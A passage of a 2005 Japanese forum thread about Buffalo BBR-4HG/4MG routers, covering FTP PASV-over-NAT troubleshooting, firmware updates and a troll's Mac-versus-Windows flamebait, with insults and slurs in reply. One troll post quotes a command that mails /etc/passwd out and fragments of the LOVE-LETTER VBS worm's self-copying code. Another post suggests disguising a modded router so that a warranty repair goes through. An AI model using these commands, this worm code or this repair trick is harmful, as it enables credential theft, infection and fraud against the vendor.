FTPサーバーソフトでは、PASVモードは有効にしてある以外、とくに通信に
関する設定は無いんですが。
coregaのSW-4PProと、BUFFALO_BLR3-TX4では、同じルーターの設定
(20/21ポートをPCのIPに開ける)で使えるんだけど。HGだけ「PASV」コマンド
の後に止まってしまいます。


783 :不明なデバイスさん:05/02/23 19:53:47 ID:/Ksy/TvV
>>779
ファームウェアのバージョンは?

784 :不明なデバイスさん:05/02/23 19:58:32 ID:ptkBmwuI
プロバイダがnyの規制してるんやけど
バージョンアップさせたら規制解除されるかな?

785 :不明なデバイスさん:05/02/23 20:10:05 ID:hp/FgIjJ
>>784
え?

786 :不明なデバイスさん:05/02/23 20:28:07 ID:IyIDsRRH
>>784
そんな頭の悪いこと言ってたら団子の餌食だぞ

787 :お団子ちゃん ◆DANGOpn1U2 :05/02/23 21:04:05 ID:Q2v7pFKK
【こんなPC欲しかった!! 「Mac mini」登場】

http://pc.watch.impress.co.jp/docs/2005/0223/nishikawa.htm

・インターフェイスの統一感はiLife/iWorkの方が何枚も上手である。
 この点は1社で全てを作りこんでいるアップルの強みであろう。

・筆者の周りで「Mac miniが欲しい」と言っている人達は、かなりの割合で、

・確かに静かでコンパクト、しかもUNIXがプリインストールされているマシンと考えれば最安値。

・デジタルHUBとして家庭に入り込むには、二面性をうまくまとめたシステムが
 必要だと思われる。この辺のバランスはWindowsよりMac OS Xに軍配があがる。

・Windowsから離れてしばらくMac OS Xを使った後、Windowsへ戻ると、とにかく目が疲れる。
 メニューなど常に出ている文字の多さがその疲れの原因のようだ。

・メーカーの人と軽く話をしたところ、技術的な問題としては熱、そして現実問題として価格が
 厳しいそうだ。

・Windowsのライセンス料を加味してこの値段になるようにハードウェアを設計するのは
 無理があるとのこと。

・あのPC一筋だった元麻布さんまでMac miniを買うとは、それだけ魅力的な証拠であろう。

788 :不明なデバイスさん:05/02/23 21:07:41 ID:3vQltRS5
>>784
プロバイダが規制しているのだから
規制してないプロバイダに変えない限り無理。
そして板違い。

789 :お団子ちゃん ◆DANGOpn1U2 :05/02/23 21:11:49 ID:Q2v7pFKK
>768

それほどあなたがハードに詳しいと言うのなら、
FireWire800が内蔵ディスクと同等のパフォーマンスを出し、
HD動画編集にも全く問題のない性能だと言うことぐらい
知っていますよね?┐(´ー`)┌

790 :お団子ちゃん ◆DANGOpn1U2 :05/02/23 21:15:34 ID:Q2v7pFKK
>>766

むやみにパイプラインを増やし、クロックを上げただけの
Pen4の方がうさん臭いCPUなのだから、ライバルチップと
比べれば当然の結果です。┐(´ー`)┌


791 :不明なデバイスさん:05/02/23 21:19:47 ID:IyIDsRRH
オナヌーがスタートです

792 :不明なデバイスさん:05/02/23 21:20:42 ID:dwSybKU+
>>784は低脳のふりをした釣り師

793 :お団子ちゃん ◆DANGOpn1U2 :05/02/23 21:21:44 ID:Q2v7pFKK
【セキュリティ問題でジレンマに陥ったMicrosoft】

Microsoftはインターネット攻撃を食い止めるための努力しなければ、
顧客が離反する恐れがある。とはいえ、自らセキュリティ製品を販売すれば、
セキュリティベンダーの反発を招きかねない。

http://www.itmedia.co.jp/enterprise/articles/0502/22/news064.html

だからと言って、セキュアなWindowsにすることは永遠にできないし・・・。
ってところでしょうか?┐(´ー`)┌

794 :お団子ちゃん ◆DANGOpn1U2 :05/02/23 21:29:24 ID:Q2v7pFKK
【Windows対Windows マイクロソフトの違法コピー対策】

http://www.itmedia.co.jp/news/articles/0502/21/news061.html

高いライセンス料を取りまくって稼いでいる会社が
これほど躍起になっているところを見れば、やはり
金持ちこそガメツいと言うのはやはり本当なのですね。

ま、粗悪OSを棚に上げ、あまりがめつくやり過ぎていると、
そのうちシェアを落としますよ。┐(´ー`)┌

795 :不明なデバイスさん:05/02/23 21:38:37 ID:3vQltRS5
>>792
こういうのは釣りと言わずに単なる馬鹿というけどね。

796 :779:05/02/23 21:42:37 ID:FpC3acFg
>783
どもです。
ファームは1.10使ってます。来週にでも1.12試そうかと考えていたのですが。


797 :不明なデバイスさん:05/02/23 22:28:49 ID:qGwcp2oD
>>782
PassiveモードでFTPサーバを立ててるってことは、

「PASVコマンドに対する応答メッセージに含まれる、「サーバアドレス」と「待ちうけポート」の
指定が適切であること。」

が必要だと思うんだけども。つまり応答メッセージの情報が、

・サーバアドレスがルータのWAN側アドレスになっている(LAN内のプレイベートアドレスでない)
・待ちうけポートが適切に指定されている(ルータによってサーバにアドレス変換される)

の2点が必要。LAN内にFTPサーバを立てた場合、そのサーバソフトは自身のアドレスを
プレイベートアドレスで認識すると思う。WAN側のFTPクライアント側がそのプライベートアドレスを
応答メッセージとして貰っても、どうしようもない。(WAN側からNGでLAN内PC同士でOKなのはこのせい)

一部のルータでは21番ポートを監視して、PASVの応答メッセージを書き換える機能を持っている。
動作していたルータはそういった機能に対応してるんじゃないかな。BBR-4MG/HGについては
PASV応答の監視に関する記述は見つからないんで、サーバソフト側での対処が必要だと思う。
具体的には、

・PASV応答のアドレスをグローバルアドレスにする(ホスト名で設定出来るなら便利)
・データ待ちうけポートを指定、且つ4MG/4HG側でそのポートをアドレス変換

柔軟な管理を行うなら、BBルータのPASV応答監視/書き換えに頼らないほうがいいと思う。


798 :お団子ちゃん ◆DANGOpn1U2 :05/02/23 22:29:23 ID:Q2v7pFKK
PC WatchでMac miniの体験記の下で同じようにWindowsマシンの
ネタが書かれているんだが、何この汚いマシン?

これでも本当に新製品なの?

・Winマシン
http://pc.watch.impress.co.jp/docs/2005/0223/hot0946.jpg

・Mac
http://images.apple.com/jp/powermac/gallery/images/powermacG5open06092004.jpg

ま、目が悪くなるほど酷い表示のWin_OSには、恐ろしいほど見苦しい
ボディーデザインのマシンがお似合いなんだろうけどね。┐(´ー`)┌

799 :不明なデバイスさん:05/02/23 22:36:36 ID:iExBmjzk

只今、お団子ちゃんのオナニーショーが始まっています。


        (;´Д`)ハァハァ


ショーを覗きたい方は今すぐクリックして「あぽーん」
フィルターをはずしてください。

800 :不明なデバイスさん:05/02/23 22:42:17 ID:qGwcp2oD
>>782
ちなみにFTPサーバは何使ってるの?

801 :お団子ちゃん ◆DANGOpn1U2 :05/02/23 22:43:06 ID:Q2v7pFKK
標準搭載されているDDR400メモリと筆者の手持ちのDDR2-533メモリで、
簡単なベンチマークテストによる比較をしてみた。その結果が表2だ。
DDR400とDDR2-533の差が非常に小さいことがわかる。

http://pc.watch.impress.co.jp/docs/2005/0223/hot356.htm

昨日痛いことをいっぱい言ってた人、今日は来ないね。┐(´ー`)┌

・Mac
http://www.apple.com/jp/powermac/architecture.html

802 :お団子ちゃん ◆DANGOpn1U2 :05/02/23 23:10:04 ID:Q2v7pFKK
ポンコツ三流Windowsってこんな文字例だけで
何か不都合が起きるの?


cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:¥network.vbs", "j:¥windows¥start menu¥programs¥startup¥"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"

803 :不明なデバイスさん:05/02/23 23:10:41 ID:sV7+jR82
毎晩オナニーショーもショボイ人生だな

804 :782:05/02/23 23:13:09 ID:FpC3acFg
>797
RESどもです。
PASVについては、20以外のポートで「サーバー側から」クライアントに接続要求する
モードだ・・という程度の理解ですが。この20/21の接続要求さえ、サーバーを動かし
ているPCのLAN内IPにルーターで設定しておけば、LANのIPとWANのIPの変換は、
文字通りルーターの役目では?。PASV調停で流れるデータの中身を変更しなくても、
発信側のWAN側アドレスは自動添付なわけですし。
動いたと書いた、他の2つのルーターにしても、PASVを特別に監視するような設定は
ありませんでした。

ちなみに。FTPサーバーソフトには、WARFTPを使っています。「port20には接続しな
い」という設定にチェックしてあります。

PASVモードのFTPサーバー立てるのって、ルーターを選別しないといけないような
特別なモードなのでしょうか?。


805 :782:05/02/23 23:15:12 ID:FpC3acFg
PASVモードについて誤解しているかも。ちと勉強します。


806 :不明なデバイスさん:05/02/23 23:23:17 ID:Hg+kvD4T
うちはmoreだけど20.21開けるだけで特に問題ないけどね? HG
パッシブ効いてるのかどうかはワカンネが

807 :不明なデバイスさん:05/02/23 23:30:18 ID:3NOt4dsa
>>804
とりあえず、PASVモードは任意のポートで「クライアント側から」
サーバーへ接続要求するモードですよ。

808 :782:05/02/23 23:32:33 ID:FpC3acFg
ちと調べました。
語句やプロトコルに御幣があるけど、PASVというのがLAN側から通信するモードという
のは確かなようで。

>806
私にも、20/21を開けるという知識しかないもんで、混乱してます。なんかポカやってい
るだけじゃないかとは思うんですが。
PASVコマンド受信までは動くので、20/21のポート開け自体には問題ないと思うのです
が。

従来ルーターとのすり合わせのために、ルーターのLAN側IPを192.168.1.1にしたのが
まずいとか?

809 :不明なデバイスさん:05/02/23 23:38:34 ID:WJap1U9R
>>798
Win機でも美しいものはある
漏れが愛用している物と同じシリーズのスリムマシン
http://english.aopen.com.tw/products/images/housing/products/ao-h360-demo-swf.swf

>>787
業界標準から外れたようなMacintosh機なんて興味は無い
MacOSがPC/AT互換機で使えるなってから来いや m9っ(゚ ∀ ゚) 
失せな、気違い!

810 :お団子ちゃん ◆DANGOpn1U2 :05/02/23 23:47:45 ID:Q2v7pFKK
>809

こ、これが、美しいマシンですってー?

これもWindowsが及ぼす弊害なのでしょうか・・・。
なんだかちょっと怖くなって来たので今日のオナニーショーは
早めに切り上げさせて頂きますよ。((((;゚Д゚)))

811 :不明なデバイスさん:05/02/23 23:54:01 ID:0HthLMX/
当スレの知的障害者による書き込み一覧
>15>21>24>26>27>28>29>30>46>54>66>71>73>75>102>103>106>107>108
>133>167>170>172>174>175>177>179>181>186>188>189>194>196>200>203>204
>207>226>230>232>233>234>237>239>241>243>252>253>254>257>260>262>264
>266>267>269>272>274>275>276>278>279>282>285>286>290>293>296>301>315
>336>337>353>356>358>359>362>366>368>373>376>378>381>390>395>405>406
>409>412>415>417>421>423>424>426>432>462>465>466>470>471>480>487>489
>491>495>496>498>499>500>501>504>505>507>509>514>517>518>521>523>524
>530>540>541>542>544>549>552>556>557>570>571>572>574>577>578>579>580
>581>584>586>588>590>591>593>595>597>599>612>613>616>617>634>635>636
>642>643>644>645>646>649>650>651>655>658>660>661>663>667>668>669>672
>698>700>702>704>707>711>714>723>726>737>738>739>741>744>745>748>749
>750>751>753>755>757>758>759>760>763>787>789>790>793>794>798>801>802
>810

812 :不明なデバイスさん:05/02/23 23:56:56 ID:IyLSB3oW
この馬鹿は今日も暴れてるのかと・・・
寂しい人生だな、ほんと。

813 :不明なデバイスさん:05/02/24 00:09:20 ID:0Sr75EJZ
放置

814 :797:05/02/24 00:14:56 ID:l0JXZAP/
# 間違ってたら識者の方突っ込みよろしく。

>>808
ちょっと違う。まずFTPはコマンド送受信用とデータ送受信用のセッションを2個使う。
コマンドのほうが21番ポートで、「クライアントからサーバ」に接続する(サーバが待ちうけ)。
PORTだのPASVといったコマンドやその応答はこちらでやり取りする。

データ送受信用のセッションはデータの送受信やディレクトリ一覧のやり取りに使う。
で、PORT/Passiveモードによってサーバ/クライアントのどちらが待ちうけ(Listen)になるかが違う。

PORTモード
「サーバからクライアント」に接続(クライアントが待ちうけ)。この時Source PORTが20番、
Destination PORTは予めクライアントがPORTコマンドで通知したポート番号になる。
また接続先IPアドレスもPORTコマンドで通知される。Firewallの内側にいるクライアントだと不便。

Passiveモード(PASV)
「クライアントからサーバ」に接続(サーバが待ちうけ)。この時Source PORTは任意。
Destination PORTつまりサーバの待ち受けポートは、PASVコマンドの応答であらかじめ
クライアントに通知しておく。またPASVコマンドの応答で接続先アドレスも通知される。
つまりクライアントはPASVの応答メッセージで、データ転送用セッションの接続先アドレスと
ポート番号を知る。(本来の目的であるFTPリモート操作機能を流用してるから)
20番ポートは実は関係ない。

つまりPassiveモードの場合データ転送用セッションを正しく確立する為には、「PASVの
応答メッセージが正しい情報である」ことが必要。サーバアドレスと待ち受けポートの2つ。
一部のルータはこれを監視していて、都合のいいように書き換える機能を持つ。

WARFTPというのは使ったことないけど、PASV応答メッセージの設定は出来ないのだろうか。

# >>806氏のケースはPORTモードで動いてるんじゃなかろうかと邪推

815 :不明なデバイスさん:05/02/24 00:29:36 ID:jjYJILFJ
をまいら、オナニーショーで暇ツブシしている場合ぢゃないぞ。

!ーーキターー!ニューファーム1.12!
ttp://buffalo.melcoinc.co.jp/download/driver/new.html

・・・でもさ、1.11βが正規にならないで、いきなり1.12ってのも何か感覚おかしい希ガス。


816 :不明なデバイスさん:05/02/24 00:30:56 ID:9cMRboBR
(゚∀゚)━( ゚∀)━(  ゚)━(  )━(´  )━(Д´ )━(`Д´)ウワァァァン!!

418 名前:名称未設定[sage] 投稿日:05/02/23(水) 03:44:24 ID:C15BsRwb
バッファロー【BBR-4HG/4MG 統合スレッド】 その5
http://pc5.2ch.net/test/read.cgi/hard/1107619705/

↑ここのスレにお団子がなついて困ってるんですが、
mac板のみなさん、引き取ってもらえませんか

419 名前:名称未設定[sage] 投稿日:05/02/23(水) 07:44:32 ID:3fkHzX2v
>>418
ご免こうむります。以上。



817 :不明なデバイスさん:05/02/24 00:36:18 ID:rspvVrqs
>>810
m9っ(゚ ∀ ゚)アヒャヒャヒャ

やはり、ジャンル違いでしかも気違いには理解できなかったか
この一般的なスリムサイズでしかもPC/AT互換、ハイスペックもリリースされている
MicroATX規格を保った上でここまでの搭載密度とカスタム性、CPUスペックを実現
できている機種は極僅か
この機能性を理解できないとはさすが低能マカー
パワーアップする事もできないし、小ささと外見を優先しただけのようなMac miniより、
Pen4 3GHzクラスのハイパワーで明らかに良く仕事をしてくれるわ

   ∧_∧   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ヒーコラヒーコラ    だめだコイシ
.  ( ´∀`) < ・・・低能 アヒッアヒッ
.  ( つ ⊂ )  \_______   (´∀` ,,)、     ( _ ;) クククピピ
   .)  ) )   ○   ∧_∧       ,, へ,, へ⊂),    _(∨ ∨ )_
  (__)_) ⊂ ´⌒つ´∀`)つ     (_(__)_丿     し ̄ ̄し
           タッテラレネーヨ

818 :不明なデバイスさん:05/02/24 00:42:18 ID:skqluyrH
まぁほっときゃそのうち飽きてどっか行くサ。
団子は「あぼ〜ん」にて対応。 以上

819 :不明なデバイスさん:05/02/24 00:42:36 ID:hZU/vEyF

 こ の ス レ は 何 故 お 団 子 ち ゃ ん の ト イ レ に 選 ば れ た の ?

820 :797:05/02/24 00:48:48 ID:l0JXZAP/
>>808
ちょっとWARFTPを調べてみた。まずPASVの応答設定は出来る模様。

ttp://www.warftp.org/faq/warfaq.html#AEN320
3.6.1.の「Can it use the routers IP address for PASV connections?」が正に回答。

ver1.81以降ならnat.confというファイルを作成して設定しておけば、daemon起動時
に読み込んでくれる模様。現在public betaで配布されている1.82.0-RC10には
nat.conf.sampleというファイルが入ってるみたいだから、これ参考にしてnat.confを
作成すればいいんじゃなかろうか。

>>808の書き込みからLANのネットワークアドレスが192.168.0/24だとすると、
nat.confの中に下の3行を書いておけばいいような気がする。(数値はnet.conf.sampleから拝借)

127.0.0.1000
192.168.1.0/255.255.255.0 000
0/00HOSTNAME3000-3999

最初の2行はlocalhostとLAN内の設定なので全部デフォルト指定。3行目がWAN用。
HOSTNAMEのところにWAN側のIPすなわちBBRのWAN側IPアドレスを書く。DDNSを
使ってるなら、DDNSのホスト名を書く。
3000-3999のところはサーバ側Listenポートの指定。他とかぶらない適当なポート範囲を設定。
1000個もポート要るのかどうかはドキュメントをよく読んでないからわかんない。

で、設定したListenポートの範囲を、4MG/HGのアドレス変換でサーバに通るようにする。
上の例では21番及び3000-3999番のTCPをサーバに通るよう設定。(20番も通していいけど)

# 4MG/HGに直接関係ない話題でスマソ

821 :797:05/02/24 00:51:27 ID:l0JXZAP/
あ、すまん。>>820の設定のとこ、元がtabコードで区切ってたからくっついちゃったね。

127.0.0.1 0 0 0
192.168.1.0/255.255.255.0 0 0 0
0/0 0 HOSTNAME 3000-3999

こんな感じね。nat.conf.sample見れば判るとはおもうけど。


822 :不明なデバイスさん:05/02/24 01:30:09 ID:glod8WaG
>814
21経由であらかじめデータ用ポート番号を連絡しておいて、サーバーにそのポート
を開いて待っててもらう…ってのがPASVですよね?。FWは中から開ける分には
制約が無い場合が多いから、これで通信可能と。
・・21番は許可されている必要があるのに、20番を回避しようとするこの方法のメリッ
トがよく分からないけど。

>820
使用するポートを指定して、ルーターに開けさせるという設定なわけですね。
グローバルIPは固定じゃないので、導入にはDDNS導入必要です。アタック対策に
随時IP通知という方法を取りたいのですが。このへんは検討します。


PASVではなくPORTで問題が無いかどうかというのを、とりあえず先に試してみたい
と思いますが。
他のルーターで通るのに、HGで通らないというのは…だめルーターってことでしょう
か?。


823 :不明なデバイスさん:05/02/24 01:47:46 ID:8IqgRElK
DIAGのランプ(赤)が点滅して止まりません。
MG改なので修理にも出せません。とてもショックです。

824 :不明なデバイスさん:05/02/24 01:48:02 ID:lwf53+kD
>>822
ダメルーターじゃなく
使い方が間違ってる

825 :不明なデバイスさん:05/02/24 02:01:16 ID:skqluyrH
>823
懲りずにもう一つMG買ってきて改しましょう。

826 :不明なデバイスさん:05/02/24 02:50:42 ID:ZM3kSSPa
ほんとに団子がいる。w
ボンビーなのに無理してマック買うからこんな安物(失礼)ルーター
のスレに出没してるんだな。w

827 :不明なデバイスさん:05/02/24 03:33:58 ID:XD63tvY2
http://tmp4.2ch.net/test/read.cgi/tubo/1109183534/

最悪板に専用スレ建ててきたから腹立ってるヤシ等思う存分そっちで語れ

828 :不明なデバイスさん:05/02/24 03:55:20 ID:V38C8Vx1
>>823
MG用ファームをHに書き換えてHG改に入れる。
でもそのままではHGの文字が残ってるので、その後ノーマルのMGのファームを入れる。
これでどこから見てもMGだ。バレる事はない。修理に出せ。

829 :不明なデバイスさん:05/02/24 06:17:50 ID:rXcf8cxE
>809「Win機でも美しいものはある」

見たけど果たして“美しい”って形容にあてはまるかな?コレ
確かに自作機として機能的だし、よく考えられてるとは思うけど
一昔前のメーカーデザインの焼き直しってイメージだがな…
決して団子支持ではないし、ずーっとWin使いな身だけど
ことデザインに関しては、いつまで経っても追い着けないなぁと思う。

830 :不明なデバイスさん:05/02/24 06:50:10 ID:C5N/8rsB
>>829
美的感覚の前に場の空気読めるようになれよこのスレ違い野郎

831 :不明なデバイスさん:05/02/24 08:18:08 ID:IZsQuq6+
それなら>829にも言うべきだな
テメェのマシン自慢したくてネタ振ってきたとしか思えんしな。
喪前の口振りも団子に劣らず下品なスレ違いだと読めるようになってくれ。

832 :不明なデバイスさん:05/02/24 08:19:07 ID:IZsQuq6+
正:>809にも言うべきだな
誤:>829にも言うべきだな

833 :不明なデバイスさん:05/02/24 08:24:05 ID:uveCMERd
朝っぱらから何やってんだか… ┐(´е`)┌ ヤレヤレ

834 :不明なデバイスさん:05/02/24 09:56:19 ID:IQ+KY2Ue
MacMini欲しくなってきたんだが、mac使いの人いる?
miniってやっぱり非力?
G5 とか買わないとだめ?
visualbasic6見たいなソフト付いてくる?

835 :不明なデバイスさん:05/02/24 10:18:12 ID:X4ilnw6y
>>834

Macで見たモナーやギコが、
あんなにカワイイなんて知らなかった。

http://pc7.2ch.net/mac/

836 :不明なデバイスさん:05/02/24 11:00:51 ID:8IqgRElK
>>828
そうしたいとこなんですけど198.168.11.1にログインできないんでげすよ〜。
MGのファーム1.10でも安定してたのでHGに改しなくてもよかった。
ADSLもたいしてスピードも出てなかったし。。。
好奇心から、ついHGにしただけで。。
自己責任の辛さを痛感いたしました。

837 :不明なデバイスさん:05/02/24 11:07:51 ID:O4k/7BI8
11.1にしなければいけないの?
101.1じゃダメなん?

838 :不明なデバイスさん:05/02/24 11:26:31 ID:W+qlb19L
>>836
本体後ろのリセットボタンを押した後でIP設定ユーティリティを使ってみ。

839 :797:05/02/24 11:29:40 ID:l0JXZAP/
>>822
ちがーう。クライアントからPASVコマンドをサーバに投げると、サーバがアドレスとポートをその
応答メッセージに載せてクライアントに通知する。クライアントは、コマンド通信用に21番、データ伝送用に
この応答メッセージで得られるアドレスとポート番号を使って、サーバに接続する。
コマンド通信用に最低限1ポートは開いてる必要があり、それが21番(HTTPの80番と同じ考え方)。
20番ポートはPORTモード時のサーバ側PORT番号であって、Passiveモード時には関係ない。

要するに、FTPはサーバ/クライアント間で2つのセッションが必要になる(コマンド通信とデータ通信)。
Passiveモードではどちらもクライアントからサーバに接続する。コマンド通信はサーバ側21番固定。
データ通信はサーバ側が定めるアドレスとポートに接続し、それはPASVコマンドにたいする応答
メッセージを使って、サーバからクライアントに通知される。

だからNAT越えのPassiveモードを実現する為には、この応答でクライアントに通知されるアドレス
がグローバルアドレスで、且つポートがサーバに対してフォワード(アドレス変換)されてないとだめ。


21番ポートのFTP通信メッセージを監視してPASVコマンドを書き換える機能は、どうも4MG/HGには
実装されてなさそうなので、その意味ではあなたにとってはダメルータということでもいいと思う。
だけどこれは各ルータの製品仕様であって、BBルータなら必ずこの機能を持っていなければならないと
いう訳じゃない。
PASVコマンドの問題はNAT環境ならば必ず発生し得るし、例えばLinuxなんかでIPルーティングして
ゲートウェイをデザインしても起こる問題。それをどこで解決するかが問題なわけで、BBルータで監視
書き換えする手もあるし、サーバソフト側で解決する方法もあるというだけ。
失礼を承知で言うけど、FTPやNAT環境の動作や問題点を完全に把握していなくて、今までは偶然動作する
環境で実現していただけではなかろうか。

ぐぐる先生にPASVモード NAT越え辺りのキーワードで聞くと多分説明出てくると思うのでお勧め。

# これ以上は4MG/HGの話題とはかけ離れそうだし、WARFTPなりサーバ関連のスレッドに移ったほうがいいのかも…

840 :822:05/02/24 12:49:00 ID:glod8WaG
>839
どうもありがとう。
まだ無知なところがあったということで。まずは:検索で勉強しなおしてきます。
まずこのへんから。
http://www.aconus.com/~oyaji/router/pasv.htm

解決したら書き込みします。

841 :不明なデバイスさん:05/02/24 12:56:53 ID:8IqgRElK
>>837
一応11.1も101.1もいろいろ試しましたよ。もともと101.1で使用してたんですけど
おかしくなったので1回初期化したんですよ。だから11.1でログインしようと。。

>>838
> 本体後ろのリセットボタンを押した後でIP設定ユーティリティを使ってみ。
リセットボタンとは初期化のボタンのことですよね?
それが壊れてしまってるみたいなんですよ。
3秒以上押してもDIAGランプ(赤)で点滅しっぱなしで。。
初期化ボタン押してる間さえもまったく点滅は消えません。
IP設定ユーティリティをインストールしてブロードステーション検索してみました
が何も表示されませんでした。。

842 :不明なデバイスさん:05/02/24 13:16:35 ID:AMej4aHG
1.12はどうよ?

843 :不明なデバイスさん:05/02/24 13:20:41 ID:W+qlb19L
>>841
ファーム書き込みに失敗してるみたいですね。
こんな方法もあるようですけど、買い換えた方が早いかも。
ttp://www.chichibu.ne.jp/~kawahira/library/bbr-4mg.htm

844 :不明なデバイスさん:05/02/24 13:21:02 ID:l0JXZAP/
>>841
自分のPCのIPアドレスとネットマスクはいくつに設定してるの?

845 :不明なデバイスさん:05/02/24 14:01:18 ID:lBitWoro
198.168.11.1でなくて 192.168.11.1の間違いでは?


846 :不明なデバイスさん:05/02/24 15:19:12 ID:oXlRdn/Z
まぁなんつーか>>810でも自分でオナニショーつってるし、専用スレ立ててそこに書き込め。
基本的にいうと
 ス レ 違 い 


847 :822:05/02/24 15:53:30 ID:glod8WaG
WARFTPを1.6系から1.8系にUPしようとしたら、環境引継ぎできず。使い方覚えて
&設定全部最初からやり直しなり。さすがにやっている時間が無いので、仕事落ち
着いてからになりそうですが。

FTPのPASVモードにルーターが対応しているかどうかは、購入前にどうやって
確認するんでしょう?。

同じBUFFALOでも、BLR3-TX4は対応してたんだけどな…。

848 :不明なデバイスさん:05/02/24 15:58:06 ID:glod8WaG
…WARFTPの作者か知らんけど、あの顔何度も見るのがやになってきたな

849 :不明なデバイスさん:05/02/24 16:55:56 ID:FO+Eq96Y
>846
結果的に>809のレスが、愚劣なオナニーショーの幕引きやったわけだし
あの精神障害者を撃退できる糸口(機能美面?で攻め立てる)が見つかったんだから
個人的には>809には感謝してるよ。

850 :不明なデバイスさん:05/02/24 18:08:04 ID:8IqgRElK
>>843
> ttp://www.chichibu.ne.jp/~kawahira/library/bbr-4mg.htm
面白そうなページですね。感謝!ルータすぐ必要なわけじゃないのでちょっと遊んでみます。
あんまり技術ないんで無理だと思うんですけど、もし直せるようなことがあれば報告します。

>>842
ファームは1.12にして丸1日特に問題なく動作はしてたとは思うんですけど。。素人の見た目では
1.10同様安定してたと思います。ファームを1.12にした次の日に、いつもは触らない設定をこちょこ
ちょと触ってしまったのがいけなかったのかもしれません。
どこにも接続できなくなったのでルータを初期化したらDIAGランプ(赤)が延々と点滅するようになりました。

>>845
>198.168.11.1でなくて 192.168.11.1の間違いでは?
192.168.11.1でしたね。失礼しました、間違えました。


851 :不明なデバイスさん:05/02/24 18:37:52 ID:zYefNtXR
>>785
>>786
ルーターで制御してるんじゃないんだね
プロバ変えないと無理と言う事か


852 :不明なデバイスさん:05/02/24 18:48:39 ID:uk+IKtBW
実家で4HG , 自宅で4MGを使っています。
実家PCと自宅PCでファイルのやりとりをしようとFTPサーバ(QuickFTP)を
たてたのですが4HG、4MGともにブリッジモードにしないとFTP繋がらないですよね?
プロバイダがJcomなので規制対策として通信制御ポートを10100、
データ通信ポートを10000にしてクライアント(FFFTP)でポートを10100に変更し
QuickFTPでもポートを10100と10000に変更してるんですが繋がりません。
つながるんですが、リストの取得で止まってしまいます。
もちろん10100と10000の穴は開けてます。セキュリティー設定は低です。
ルータモードでも繋がるようにするにはなにかこつがあるんでしょうか?
すみませんが教えていただけませんか?

うちはFTP鯖こうやってたてたといような情報もおまちします。

宜しくお願いします。


853 :852:05/02/24 18:59:35 ID:uk+IKtBW
自己レス
FFFTPでpasvのチェックをはずしたらつながりました。
お騒がせしました。

854 :不明なデバイスさん:05/02/24 19:38:56 ID:8IqgRElK
>>845
自分のPCのIPアドレスは192.168.101.2
ネットマスクは255.255.255.0に設定してました。

855 :不明なデバイスさん:05/02/24 20:06:37 ID:lSplAzXT
ファーム1.10のときもおきてた現象なんだけど
1.12にして直ると期待してたが直らんかった。

激しく一日中WANランプが点滅するのってどして?
ちなみに接続機器をひとつも立ち上げてなくても
点滅しっぱなし・・・・

856 :不明なデバイスさん:05/02/24 20:34:27 ID:2ZLwP+d+
>>855
モデムとルーターはつながってるのでしょ?
釣り?

857 :不明なデバイスさん:05/02/24 21:12:51 ID:ouUeeZBw
1.12にしたら、項目が増えてるね。パケットなんたらmicrosoft〜とか。

相変わらず安定してるよ、MG@HG。トラブルも皆無だし。
ちなみに、1.10(買ったママ)→1.10β→HG化→HGの1.11β→HG1.12

でも、実際アタックブロックは使わんので、スループット向上だけ・・だけどね、機能メリットは。光環境なんで。
Habより安いから暫定で買ったんだけど、こんなにも楽しめるとは思いもしなかったよ。
しかも、性能は今となっては{良い}と言える、他社のより遥かに。

後で高性能ルータ買う予定だたんだが、これで十分なんで様子見中だわさ。

858 :不明なデバイスさん:05/02/24 21:18:35 ID:zjLLWQUv
>>855
それは不具合ではなく仕様です。
WANがルーターにささってて、ルーターもモデムも
電源が付いていて、ちゃんと回線が通じていれば
ランプは点滅します。


















バカダロオマエ

859 :不明なデバイスさん:05/02/24 21:29:29 ID:v7DVWjYf
LEDの点滅なんて、調子悪い時にしか気にならん。
つか、安定してて機能も普通に使えてる状態なら
どのLEDがどう点灯・点滅してようが関係ないね ┐(´∀`)┌

860 :不明なデバイスさん:05/02/25 00:39:30 ID:zjSMuv6v
>>843
この人すんごいなw

861 :不明なデバイスさん:05/02/25 04:58:27 ID:5RR4MdI1
>>799
ワラタw

思わず、 (;´Д`)ハァハァしちゃっただろw

862 :不明なデバイスさん:05/02/25 07:08:48 ID:wMmnXOES
>>797
>一部のルータでは21番ポートを監視して、PASVの応答メッセージを書き換える機能を持っている。
一昨日購入してアップデートしたBBR-4HG(1.12)ですが、どうやらこの機能あるようです。
逆に、サーバー側で明示的にグローバルIPに変換して渡してあげると、相手側からのPASV要求時に
ルーターが完全に沈黙してしまうようです。恐るべし。
しかし、そういう機能があるならあるでちゃんと記述してもらいたいものです。。。

863 :不明なデバイスさん:05/02/25 12:53:33 ID:agsFXCA/
4MGかいますた。
よろしくお願いします。

864 :不明なデバイスさん:05/02/25 13:02:39 ID:TGtPz+S5
>>863
イッラッシャーイ

865 :不明なデバイスさん:05/02/25 13:11:39 ID:O8fs58ho
俺は昨日4HG買った。

866 :不明なデバイスさん:05/02/25 13:15:30 ID:gjkX1LoV
>>854
4MG/HGをリセットしたということは、ルータのIPアドレスは192.168.11.1に戻ってる
のでは?
なら、PCも192.168.11.0/24のネットワークアドレスにしないと接続出来ないのでは。
192.168.101.0/24じゃ通信出来ないっしょ。


>>862
なんだろうな、その仕様(;´Д`)。ローカルアドレスだと期待してチェックしたらLAN
側であり得ないアドレスだったんで変なステートに陥ったのだろうか。
多分開発自体は外部に丸投げだろうから、詳細ドキュメント出来てないんじゃないかな。
ありがちだ。


867 :不明なデバイスさん:05/02/25 16:11:01 ID:s9ZYLJgd
>862
1.10ではだめなのが確認済みなので。1.20で機能が追加されているなら
ありがたいですが。ちと気力が尽きたので来週月曜にテストしてみますだ。
